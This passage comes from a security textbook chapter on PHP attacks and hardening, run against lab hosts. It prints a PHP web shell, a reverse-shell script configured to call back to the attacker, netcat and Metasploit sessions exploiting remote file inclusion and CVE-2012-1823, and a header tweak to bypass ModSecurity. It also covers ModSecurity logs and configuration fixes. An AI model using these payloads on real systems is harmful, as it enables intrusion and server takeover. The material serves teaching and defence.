<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"

" http://www.w3.org/TR/html4/loose.dtd ">

<html>

<head>

<title>Hack Script</title>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

</head>

<body>

<pre>

<?php

system($_GET["cmd"]);

?>

</pre>

</body>

</html>

A savvy attacker doesn’t select one of the two radio buttons, but instead specifies Customer=hack.php in the URL; then rather than loading include_coyote.php or include_roadrunner.php, the attack script gets loaded. Passing a parameter to that script, like cmd=cat%20/etc/passwd results in all sorts of fun (Figure 17-9).

A333712_1_En_17_Fig9_HTML.jpg

Figure 17-9.

Attacking the vulnerable include.php

One reaction to this type of attack is to insist that it is not too troubling – after all the script hack.php needed to be present on the server, and in the web server’s Document Root. However, PHP actually can let the situation get much worse. The PHP setting allow_url_include in the PHP configuration file determines if PHP is allowed to open URL’s like http:// or ftp:// as files. This is disabled by default. But suppose that the administrator updates the configuration file php.ini with the line

allow_url_include = On

The attacker can create and host a PHP script to execute on the attacker’s system. Kali includes PHP reverse shells for this purpose; one choice is /usr/share/webshells/php/php-reverse-shell.php. Before this can be used, it must be customized; in particular, edit the script to specify the listening IP address and port.

set_time_limit (0);

$VERSION = "1.0";

$ip = ’10.0.2.222’; // CHANGE THIS

$port = 8888; // CHANGE THIS

$chunk_size = 1400;

$write_a = null;

$error_a = null;

$shell = ’uname -a; w; id; /bin/sh -i’;

$daemon = 0;

$debug = 0;

The script must be hosted and made accessible over HTTP; one approach is to use Python on the attacker’s Kali system. To host the content of the directory /usr/share/webshells/php on a web server running on TCP/8000, the attacker can use the command:

root@kali-109:/usr/share/webshells/php# python -m SimpleHTTPServer

Serving HTTP on 0.0.0.0 port 8000 ...

To receive the callback, in another bash shell the attacker starts a netcat listener on TCP/8888, the port selected when the script is customized. To launch the attack, the attacker browses to the web site

http://sargas.stars.example/include.php?Customer=http://10.0.2.222:8000/php-reverse-shell

Here the GET variable Customer now contains the URL of the attackers system along with (most of) the location of the web shell; the location in the URL does not include the file extension “.php,” as that is added by the target script include.php.

When the attacker opens the URL, the running netcat shell receives the callback and the attacker can interact with the target.

root@kali-109:/usr/share/webshells/php# nc -v -l -p 8888

listening on [any] 8888 ...

connect to [10.0.2.222] from Sargas.stars.example [10.0.2.54] 54509

Linux sargas.stars.example 2.6.18-371.el5 #1 SMP Tue Oct 1 08:37:57 EDT 2013 i686 i686 i386 GNU/Linux

21:03:36 up 10:09, 2 users, load average: 0.40, 0.34, 0.28

USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT

cgauss :0 10:34 ?xdm? 57.63s 0.07s /usr/bin/gnome-

cgauss pts/1 :0.0 11:14 3:06m 7.89s 5.34s gnome-terminal

uid=48(apache) gid=48(apache) groups=48(apache) context=user_u:system_r:httpd_t

sh: no job control in this shell

sh-3.2$ whoami

apache

sh-3.2$ pwd

/

Note that immediately upon connection the reverse shell displayed the output of the commands uname -a, w, and id; this behavior is specified by the value of $shell in /usr/share/webshells/php/php-reverse-shell.php.

The vulnerable page include.php can also be attacked with Metasploit, using the module exploit/unix/webapp/php_include. To use the exploit, start Metasploit and load the module.

root@kali-109:∼# msfconsole -q

msf > use exploit/unix/webapp/php_include

The PATH variable is used to specify the path to the vulnerable URL; by default it is set to root (“/”), which is appropriate for this example. The module can run against a list of URL’s specified in PHPRFIDB or against a single URL specified in PHPURI. The URI includes the parameters with the injection location specified by XXpathXX; in this example the page is include.php and the parameter that can be injected is Customer. The IP address of the target is specified by RHOST.

msf exploit(php_include) > set PHPRFIDB ""

PHPRFIDB =>

msf exploit(php_include) > set phpuri /include.php?Customer=XXpathXX

phpuri => /include.php?Customer=XXpathXX

msf exploit(php_include) > set rhost 10.0.2.54

rhost => 10.0.2.54

The natural payload to use is Meterpreter running in PHP as a reverse shell. Select that payload, providing the address of the attacking system.

msf exploit(php_include) > set payload php/meterpreter/reverse_tcp

payload => php/meterpreter/reverse_tcp

msf exploit(php_include) > set lhost 10.0.2.222

lhost => 10.0.2.222

The resulting set of options for the attack is

msf exploit(php_include) > show options

Module options (exploit/unix/webapp/php_include):

Name Current Setting Required Description

---- --------------- -------- -----------

HEADERS no Any additional HTTP headers to send, cookies for example. Format: "header:value,header2:value2"

PATH / yes The base directory to prepend to the URL to try

PHPRFIDB no A local file containing a list of URLs to try, with XXpathXX replacing the URL

PHPURI /include.php?Customer=XXpathXX no The URI to request, with the include parameter changed to XXpathXX

POSTDATA no The POST data to send, with the include parameter changed to XXpathXX

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RHOST 10.0.2.54 yes The target address

RPORT 80 yes The target port

SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0

SRVPORT 8080 yes The local port to listen on.

SSLCert no Path to a custom SSL certificate (default is randomly generated)

URIPATH no The URI to use for this exploit (default is random)

VHOST no HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

LHOST 10.0.2.222 yes The listen address

LPORT 8080 yes The listen port

Exploit target:

Id Name

-- ----

0 Automatic

The exploit is then run

msf exploit(php_include) > exploit

[*] Started reverse handler on 10.0.2.222:4444

[*] Using URL:http://0.0.0.0:8080/Viy0O0r857gaLA

[*] Local IP:http://10.0.2.222:8080/Viy0O0r857gaLA

[*] PHP include server started.

[*] Sending stage (40499 bytes) to 10.0.2.54

[*] Meterpreter session 1 opened (10.0.2.222:4444 -> 10.0.2.54:45388) at 2015-04-05 21:44:14 -0400

[*] Server stopped.

meterpreter > sysinfo

Computer : sargas.stars.example

OS : Linux sargas.stars.example 2.6.18-371.el5 #1 SMP Tue Oct 1 08:37:57 EDT 2013 i686

Meterpreter : php/php

meterpreter > getuid

Server username: apache (48)

meterpreter >

The attacker now has a Meterpreter shell on the target, running as the user apache.

These attacks are only possible because of the interaction of the flawed PHP application that includes content using a variable under the control of the user and the PHP setting that allows PHP to include files remotely over the network. Remedying either of these issues prevents the attack. It is also possible to block these attacks with ModSecurity. Indeed, suppose this attack is launched against a CentOS 6.1 system protected by ModSecurity with the default rule set. The manual attack using the remotely hosted Kali web shell /usr/share/webshells/php/php-reverse-shell.php is blocked with a message in /var/log/httpd/error.log of the form

[Mon Apr 06 08:42:32 2015] [error] [client 10.0.2.222] ModSecurity: Access denied with code 403 (phase 2). Pattern match "^(?i)(?:ht|f)tps?:\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:Customer. [file "/etc/httpd/modsecurity.d/activated_rules/modsecurity_crs_40_generic_attacks.conf"] [line "142"] [id "950117"] [rev "2"] [msg "Remote File Inclusion Attack"] [data "Matched Data: http://10.0.2.222 found within ARGS:Customer: http://10.0.2.222:8000/php-reverse-shell"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.6"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "regor.stars.example"] [uri "/include.php"] [unique_id "VSJ-OAoAAjAAAAmuC9gAAAAB"]

Here the ModSecurity rule blocked access to the page because it detected the presence of the URL http://10.0.2.222 in the argument passed to the web server.

The attack using Metasploit is also blocked, initially for more prosaic reasons.

[Mon Apr 06 08:40:59 2015] [error] [client 10.0.2.222] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/httpd/modsecurity.d/activated_rules/modsecurity_crs_21_protocol_anomalies.conf"] [line "47"] [id "960015"] [rev "1"] [msg "Request Missing an Accept Header"] [severity "NOTICE"] [ver "OWASP_CRS/2.2.6"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_ACCEPT"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "regor.stars.example"] [uri "/include.php"] [unique_id "VSJ@2woAAjAAAAmvC8MAAAAC"]

ModSecurity blocks the attack because Metasploit does not include an Accept: header by default in its requests. To bypass this ModSecurity rule, the attacker can specify the needed Accept: header in the attack by setting

msf exploit(php_include) > set headers "Accept:text/html"

headers => Accept:text/html

If this is done, ModSecurity then stops the attack in the same fashion as the remotely hosted Kali web shell, as it detects the presence of the URL http://10.0.2.222 in the argument passed to the web server.

Configuring PHP

Because of the many configuration options for PHP, and because these options often have a subtle impact on the security of PHP web applications, auditing a PHP configuration file for security is difficult. One approach is to use a tool like the PHP Secure Configuration Checker ( https://github.com/sektioneins/pcc ). It can be downloaded from its web site or cloned via git.

[root@regor ∼]# git clone https://github.com/sektioneins/pcc.git

The result can be run using PHP on the command line; it can also be run in the web server. To do so, copy the script to a directory inside DocumentRoot (say pcc). The primary script is the file phpconfigcheck.php. By default the script is protected and must be modified before use. To allow access to the script from 10.0.0.0/16, update phpconfigcheck.php with the line

// uncomment to disable IP restrictions by default

// WARNING: better keep access restricted, e.g. set PCC_ALLOW_IP=10.0.0.*

putenv("PCC_ALLOW_IP=10.0.*");

From a browser, visit the phpcongigcheck.php page; for a complete summary of the results, pass the parameter showall=1. The result on a CentOS 6.1 system with allow_url_include set to On is shown in Figure 17-10.

A333712_1_En_17_Fig10_HTML.jpg

Figure 17-10.

PHP Secure Configuration Checker run on a CentOS 6.1 system with allow_url_include set to On

Attacking PHP

It is possible to attack PHP itself, rather than a web application running on PHP. The first step in such an attack is to determine the version of PHP running on the target. One approach is to use telnet to ask the server directly for its version of PHP. This can be done through a HEAD request (rather than a GET request), however if the target is protected by ModSecurity, a fully formed request must be made, including specifying the User-Agent, Host, and Accept values.

root@kali-109:∼# telnet regor.stars.example 80

Trying 10.0.2.48...

Connected to regor.stars.example.

Escape character is ’^]’.

HEAD /include.php HTTP/1.1

Host: regor.stars.example

User-Agent: Bob

Accept: text/html

HTTP/1.1 200 OK

Date: Mon, 06 Apr 2015 18:03:51 GMT

Server: Apache/2.2.15 (CentOS)

X-Powered-By: PHP/5.3.3

Connection: close

Content-Type: text/html; charset=UTF-8

Connection closed by foreign host.

This server, for example, is running PHP 5.3.3.

PHP can be configured not to provide this information. Update the variable expose_php in the configuration file php.ini so that it reads

; Decides whether PHP may expose the fact that it is installed on the server

; (e.g. by adding its signature to the Web server header). It is no security

; threat in any way, but it makes it possible to determine whether you use PHP

; on your server or not.

; http://www.php.net/manual/en/ini.core.php#ini.expose-php

expose_php = Off

Now the same request instead provides no information about the version of PHP.

root@kali-109:∼# telnet regor.stars.example 80

Trying 10.0.2.48...

Connected to regor.stars.example.

Escape character is ’^]’.

HEAD /include.php HTTP/1.1

Host: regor.stars.example

User-Agent: Bob

Accept: text/html

HTTP/1.1 200 OK

Date: Mon, 06 Apr 2015 18:12:23 GMT

Server: Apache/2.2.15 (CentOS)

Connection: close

Content-Type: text/html; charset=UTF-8

Connection closed by foreign host.

There is a very significant flaw, CVE 2012-1823 that affects PHP 5.3.11 and earlier as well as 5.4.1 and earlier when PHP is run as a CGI script. The flawed versions of PHP do not correctly parse query strings; for example, if the script is given the malformed query string “-s,” rather than running the script, PHP returns the source code, formatted in color for easy attacker reading. Since the system regor.stars.example reported its version as 5.3.3 it may be vulnerable if it is running as CGI. Request a PHP web page with the -s query string; if the target is vulnerable, then the source code of the script is returned as in Figure 17-11.

A333712_1_En_17_Fig11_HTML.jpg

Figure 17-11.

Attacking a PHP installation vulnerable to CVE 2012-1823 by requesting a page with the query string “-s.” The target server is CentOS 6.1 running PHP as a CGI module

There is a corresponding Metasploit module that exploits this flaw.

· PHP CGI Argument Injection

· exploit/multi/http/php_cgi_arg_injection

· CVE 2012-1823

· PHP up to 5.3.12 or 5.4.2

· PHP must be installed as CGI

To use the exploit, start Metasploit.

root@kali-109:∼# msfconsole -q

msf > use exploit/multi/http/php_cgi_arg_injection

msf exploit(php_cgi_arg_injection) > info

Name: PHP CGI Argument Injection

Module: exploit/multi/http/php_cgi_arg_injection

Platform: PHP

Privileged: No

License: Metasploit Framework License (BSD)

Rank: Excellent

Disclosed: 2012-05-03

Provided by:

egypt <egypt@metasploit.com>

hdm <hdm@metasploit.com>

jjarmoc

kingcope

juan vazquez <juan.vazquez@metasploit.com>

Available targets:

Id Name

-- ----

0 Automatic

Basic options:

Name Current Setting Required Description

---- --------------- -------- -----------

PLESK false yes Exploit Plesk

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RHOST yes The target address

RPORT 80 yes The target port

TARGETURI no The URI to request (must be a CGI-handled PHP script)

URIENCODING 0 yes Level of URI URIENCODING and padding (0 for minimum)

VHOST no HTTP server virtual host

Payload information:

Space: 262144

Description:

When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable

to an argument injection vulnerability. This module takes advantage

of the -d flag to set php.ini directives to achieve code execution.

From the advisory: "if there is NO unescaped ’=’ in the query

string, the string is split on ’+’ (encoded space) characters,

urldecoded, passed to a function that escapes shell metacharacters

(the "encoded in a system-defined manner" from the RFC) and then

passes them to the CGI binary." This module can also be used to

exploit the plesk 0day disclosed by kingcope and exploited in the

wild on June 2013.

... Output Deleted ...

To configure the attack, set the target and the URI of a PHP script.

msf exploit(php_cgi_arg_injection) > set rhost regor.stars.example

rhost => regor.stars.example

msf exploit(php_cgi_arg_injection) > set targeturi /include.php

targeturi => /include.php

Next, select the payload, including the listening host. A natural payload is Meterpreter run over PHP.

msf exploit(php_cgi_arg_injection) > set payload php/meterpreter/reverse_tcp

payload => php/meterpreter/reverse_tcp

msf exploit(php_cgi_arg_injection) > set lhost 10.0.2.222

lhost => 10.0.2.222

Run the exploit, and a shell is returned.

msf exploit(php_cgi_arg_injection) > exploit

[*] Started reverse handler on 10.0.2.222:4444

[*] Sending stage (40499 bytes) to 10.0.2.48

[*] Meterpreter session 1 opened (10.0.2.222:4444 -> 10.0.2.48:50287) at 2015-04-06 14:42:34 -0400

meterpreter > sysinfo

Computer : regor.stars.example

OS : Linux regor.stars.example 2.6.32-131.0.15.el6.i686 #1 SMP Sat Nov 12 17:30:50 CST 2011 i686

Meterpreter : php/php

meterpreter > getuid

Server username: root (0)

meterpreter > shell

Process 9814 created.

Channel 0 created.

whoami

apache

^Z

Background channel 0? [y/N] y

Although the Meterpreter getuid command returns root (0), the shell is running only as the user apache.

If the target system is protected by ModSecurity, the attack fails. Because Metasploit does not include an Accept: header, ModSecurity rejects the attempted attack with a message in the form

[Mon Apr 06 14:48:29 2015] [error] [client 10.0.2.222] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/httpd/modsecurity.d/activated_rules/modsecurity_crs_21_protocol_anomalies.conf"] [line "47"] [id "960015"] [rev "1"] [msg "Request Missing an Accept Header"] [severity "NOTICE"] [ver "OWASP_CRS/2.2.6"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_ACCEPT"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "regor.stars.example"] [uri "/include.php"] [unique_id "VSLU-QoAAjAAAAaZlKAAAAAC"]

If that rule is not present, ModSecurity recognizes the attempted PHP injection attack and still blocks the attempted attack.

[Mon Apr 06 14:51:49 2015] [error] [client 10.0.2.222] ModSecurity: Access denied with code 403 (phase 2). Pattern match "<\\\\?(?!xml)" at ARGS_NAMES:<?php error_reporting(0);$ip . [file "/etc/httpd/modsecurity.d/activated_rules/modsecurity_crs_40_generic_attacks.conf"] [line "218"] [id "959151"] [rev "2"] [msg "PHP Injection Attack"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.6"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A6"] [tag "PCI/6.5.2"] [tag "WASCTC/WASC-25"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE4"] [tag "PCI/6.5.2"] [hostname "regor.stars.example"] [uri "/include.php"] [unique_id "VSLVxQoAAjAAAAlIEREAAAAA"]

EXERCISES

1.

When configuring PHP to run as a CGI script, the text suggests setting the options +ExecCGI +FollowSymLinks on the directory /usr/bin. What are the security implications? Suggest a better alternative.

2.

Install XAMPP on a Windows system. Use the passwords page (http://localhost/security/xamppsecurity.php) to update the password for the XAMPP status page. View the file C:\xampp\htdocs\xampp\.htaccess. Determine the authentication mechanism XAMPP uses, and find the file that contains the credentials. What hashing algorithm is used? Is it reasonable?

3.

XAMPP includes a range of applications. For example, Webalizer provides the status of the server in graphical form; it is available from the XAMPP control page under the Tools heading. Update the configuration for XAMPP so that Webalizer is only available from localhost.

4.

Run the remote include attack manually, setting up a netcat listener and using the Kali web shell /usr/share/webshells/php/php-reverse-shell.php. Is it possible to evade ModSecurity by URL encoding the data in the request? What about double URL encoding the data in the request?

5.

Verify that the Metasploit remote include attack also works if the target is running PHP on Windows using XAMPP.

6.

Verify that the Metasploit remote include attack also works if the target is running PHP on Windows using IIS. Does ModSecurity on Windows block the attack?

Notes and References

PHP usage statistics come from http://w3techs.com/technologies/overview/programming_language/all ; they state that in April 2015 PHP is used by 82% of the web sites whose server-side programming language they could determine.

Two older, but excellent books, on PHP security are

· Pro PHP Security: From Application Security Principles to the Implementation of XSS Defenses, Chris Snyder, Thomas Myer, and Michael Southwell. APress, December 2010.

· Essential PHP Security, Chris Shiflett. O’Reilly, October 2005.

OWASP has a “Cheat Sheet” for PHP security available at https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet .

Table 17-1.

Default included version of PHP, by Linux distribution

CentOS

5.4

5.1.6-23

7

5.2.6

Ubuntu

6.5

5.3.3-26

5.3

5.1.6-23

6

5.2.6

13.10

5.5.3

6.4

5.3.3-22

5.2

5.1.6-20

5

5.2.4

13.04

5.4.9

6.3

5.3.3-3

Mint

OpenSuSE

12.10

5.4.6

6.2

5.3.3-3

16

5.5.3

13.1

5.4.20

12.04

5.3.10

6.1

5.3.3-3

15

5.4.9

12.3

5.3.17

11.10

5.3.6

6.0

5.3.2-6

14

5.4.6

12.2

5.3.15

11.04

5.3.5

5.10

5.1.6-40

13

5.3.10

12.1

5.3.8

10.10

5.3.3

5.9

5.1.6-39

12

5.3.6

11.4

5.3.5

10.04

5.3.2

5.8

5.1.6-32

11

5.3.5

11.3

5.3.2

9.10

5.2.10

5.7

5.1.6-27

10

5.3.3

11.2

5.3.0

9.04

5.2.6

5.6

5.1.6-27

9

5.3.2

11.1

5.2.6

8.10

5.2.6

5.5

5.1.6-27

8

5.2.10

11.0

5.2.5

8.04

5.2.4

Table 17-2.

Release dates and included versions of Apache, MySQL and PHP 5 for XAMPP between 2008 and 2013. Source: http://xampp.wikia.com/wiki/XAMPP_for_Windows/Versions

XAMPP

Apache

MySQL

PHP 5

Release

1.8.3-2

2.4.7

5.6.14

5.5.6

12/4/2013

1.8.2-3

2.4.7

5.5.34

5.4.22

12/4/2013

1.8.3-1

2.4.4

5.6.11

5.5.3

8/29/2013

1.8.2-2

2.4.4

5.5.32

5.4.19

8/29/2013

1.8.3-0

2.4.4

5.6.11

5.5.1

7/29/2013

1.8.2-1

2.4.4

5.5.32

5.4.16

7/29/2013

1.8.2-0

2.4.4

5.5.32

5.4.16

6/26/2013

1.8.1

2.4.3

5.5.27

5.4.7

9/29/2012

1.8.0

2.4.2

5.5.25a

5.4.4

7/13/2012

1.7.7

2.2.21

5.5.16

5.3.8

9/20/2011

1.7.5

2.2.21

5.5.15

5.3.8

9/14/2011

1.7.4

2.2.17

5.5.8

5.3.5

1/22/2011

1.7.3

2.2.14

5.1.41

5.3.1

12/19/2009

1.7.2

2.2.12

5.1.37

5.3.0

8/10/2009

1.7.1

2.2.11

5.1.33

5.2.9

4/13/2009

1.7

2.2.11

5.1.30

5.2.8

12/22/2008

1.6.8

2.2.9

5.0.67

5.2.6

9/28/2008

1.6.7

2.2.9

5.0.51b

5.2.6

7/6/2008

1.6.6a

2.2.8

5.0.51a

5.2.5

2/22/2008

1.6.6

2.2.8

5.0.51

5.2.5

2/10/2008

1.6.5

2.2.6

5.0.51

5.2.5

1/3/2008

An older (2007) reference for securing XAMPP that still contains useful lessons is http://robsnotebook.com/xampp-security-hardening .

There are versions of the Microsoft Visual C++ 2008 Redistributable Package for different architectures:

· 32-bit http://www.microsoft.com/en-us/download/confirmation.aspx?id=29

· 64-bit: http://www.microsoft.com/en-us/download/confirmation.aspx?id=15336

Both may be required on 64-bit systems. If XAMPP requires these packages but they are not installed, Apache may fail to start, leaving an error in the Windows application log with the description “Activation context generation failed for “c:\xampp\apache\bin\httpd.exe.” Dependent Assembly Microsoft.VC90.CRT.” Installation of the required packages solves the issue.

Footnotes

1

Recall that Ubuntu 8.04 and Mint 5 do not include the service command; one way to restart Apache is via sudo /etc/init.d/apache2 restart.

2

Older versions of XAMPP include a security warning that PHP is not running in “Safe Mode.” Safe Mode is an older feature of PHP that was deprecated in PHP 5.3 removed in PHP 5.4.

3

Did you guess that this is the MD5 hash for “password1!”?

© Mike O'Leary 2015

Mike O'LearyCyber Operations10.1007/978-1-4842-0457-3_18